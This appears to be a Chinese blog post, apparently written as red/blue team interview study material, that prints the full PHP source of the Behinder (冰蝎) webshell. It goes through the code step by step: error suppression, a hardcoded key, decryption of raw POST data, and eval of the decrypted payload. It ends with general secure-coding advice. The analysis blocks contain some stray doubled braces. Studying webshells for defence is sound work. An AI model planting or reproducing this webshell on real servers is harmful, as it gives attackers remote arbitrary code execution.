首页 > 其他分享 >#护网面试#红蓝攻防#安全# 木马文件的学习

#护网面试#红蓝攻防#安全# 木马文件的学习

时间:2024-10-21 21:21:57浏览次数:3  
标签:eval 代码 解密 密钥 木马 红蓝 post 错误报告 护网

声明: 本博文,只是基于学习进行记录。

冰蝎源码

<?php
@error_reporting(0);
session_start();
    $key="密钥"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
    $_SESSION['k']=$key;
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");

        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

代码功能概述
这段PHP代码的主要功能是通过加密和解密的方式,接收外部输入并执行相应的PHP代码。代码中使用了AES128加密算法或Base64编码与异或运算的组合来处理输入数据,并通过eval函数执行解密后的代码。

代码安全性分析
1.隐藏错误报告:(会话关闭)


@error_reporting(0);


这行代码关闭了错误报告,可能会隐藏潜在的安全问题或错误信息,使得调试和检测恶意行为变得更加困难。

2.会话管理:(会话启动)

session_start();
$key="密钥"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;

这里使用了会话来存储密钥,但密钥是硬编码的,这可能会导致安全问题,尤其是在多用户环境中。

3.输入处理:

$post=file_get_contents("php://input");

通过php://input获取POST数据,这种方式可以接收原始的POST数据,但也可能被用于注入恶意代码。

4.加密与解密:

if(!extension_loaded('openssl'))
{{
    $t="base64_"."decode";
    $post=$t($post."");

    for($i=0;$i<strlen($post);$i++) {{
             $post[$i] = $post[$i]^$key[$i+1&15];
            }}
}}
else
{{
    $post=openssl_decrypt($post, "AES128", $key);
}}

如果OpenSSL扩展可用,则使用AES128解密;否则,使用Base64解码和异或运算来解密数据。这种处理方式可能会被攻击者利用来注入恶意代码。

5.代码执行:

$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{{public function __invoke($p) {{eval($p."");}}}}
@call_user_func(new C(),$params);


通过eval函数执行解密后的代码,这种方式非常危险,因为它允许任意代码执行,可能导致严重的安全漏洞。

安全建议
避免使用eval: eval函数允许执行任意代码,极易导致安全漏洞。建议使用更安全的替代方案,如预定义的函数或方法。

加强输入验证: 对所有输入数据进行严格的验证和过滤,避免恶意代码注入。

使用安全的加密方式: 确保使用经过验证的加密算法和库,避免自定义的加密方式,因为它们可能存在漏洞。

启用错误报告: 在开发和测试环境中启用错误报告,以便及时发现和修复问题。

避免硬编码密钥: 密钥应存储在安全的地方,如环境变量或配置文件中,并进行适当的保护。

标签:eval,代码,解密,密钥,木马,红蓝,post,错误报告,护网
From: https://blog.csdn.net/m0_62828084/article/details/143065752

相关文章

  • DNS注入&一句话木马
    DNS注入DNS注入主要是利用DNS的日志会存储用户的请求解析信息的特点,通过这一点,可以使得数据外带,将访问者的相关信息暴露出来。我们可以利用DNSLOG平台来达到我们的目标:DNS平台:http://www.dnslog.cn/点击GetSubDomain可以随机获得一个域名尝试ping这个域名ping......
  • 2024护网行动:HW常见红队使用工具_红队工具
    目录什么是HW?什么是网络安全红蓝对抗?红队常见工具信息收集工具Nmap简介漏洞扫描工具Nessus简介AWVS简介抓包工具Wireshark简介TangGo简介web应用安全工具Burpsuite简介SQLMapwebshell管理工具蚁剑冰蝎后渗透工具CobaltStrikeMeterpreter密码破......
  • 如何保护网站免受未经授权的机器人访问
    在数字化时代,机器人流量已成为网站管理员和安全团队面临的重大挑战。机器人流量,即由自动化软件而非人类产生的网络流量,可能对网站的数据分析、安全性和整体性能产生重大影响。为了有效应对这一问题,本文将探讨一系列先进的策略,以检测和防止未经授权的机器人访问。1.使用验证码验证......
  • 硬件木马(一)
    摘要:近年来,我国集成电路设计与制造水平已取得了很大的进步,与发达国家的差距正逐步缩小,但大多数集成电路依赖进口的局面尚未改变,也有部分集成电路芯片需要第三方代工生产,存在被植入硬件木马的风险。而这些集成电路几乎会应用到军事、金融、通信、交通等重要电子设备中,这给我们国家......
  • 2023护网行动经验分享(2024护网招人)
    今年的护网又开始摇人了,不知道大家有想法没?去年的护网结束之后,朋友圈感觉是在过年,到处是倒计时和庆祝声。看得出来防守方们7*24小时的看监控还是比较无奈的。本次复盘基于我对整个护网行动的观察总结而来,仅代表我个人观点,如有不妥之处,欢迎交流。1.整体攻防的思考本次......
  • 网安护网挖洞思路思维导图
    信息收集: 信息收集很重要,为了下面进行有效的挖洞针对几个目标分别确定以下的几个具体目标到这我们的信息收集就有,接下来是外网挖倔思路,对网站后台进行弱口令sql注入的尝试用bp进行抓包爆破到一定程度是权限获取,一些大类思路内网不是护网授权不建议合法护......
  • 如何查杀网站(服务器)空间木马
    为了确保网站的安全性和完整性,按照您提供的步骤进行操作是非常必要的。以下是详细的步骤说明,请务必按照顺序逐步操作,并确保每一步都正确无误。1.备份网站数据库与源码文件在进行任何操作前,请先备份网站的数据库和源码文件。这一步非常重要,以防万一出现问题时可以恢复数据。2.......
  • 如何查杀空间木马
    查杀空间木马通常指的是检测和清除托管在Web服务器上的恶意代码或木马程序。这些木马可能是通过漏洞入侵您的网站或服务器后留下的。以下是一些查杀空间木马的基本步骤:1.使用安全软件进行扫描安装安全软件:可以使用如360安全卫士等安全软件来进行木马查杀。如果您的服务器上没......
  • 2024护网行动:HW常见红队使用工具_红队工具
    目录什么是HW?什么是网络安全红蓝对抗?红队常见工具信息收集工具Nmap简介漏洞扫描工具Nessus简介AWVS简介抓包工具Wireshark简介TangGo简介web应用安全工具Burpsuite简介SQLMapwebshell管理工具蚁剑冰蝎后渗透工具CobaltStrikeMeterpreter密码破......
  • 2024最新最全【护网行动教学】
    护网行动背景什么是“护网行动”?指挥机构∶由公安机关统一组织的"网络安全实战攻防演习"。护网分为两级演习∶公安部对总部,省厅对省级公司。什么是“实战攻防演习”每支队伍3-5人组成,明确目标系统,不限制攻击路径。提交漏洞不得分,获取权限、数据才能得分。禁止的行为......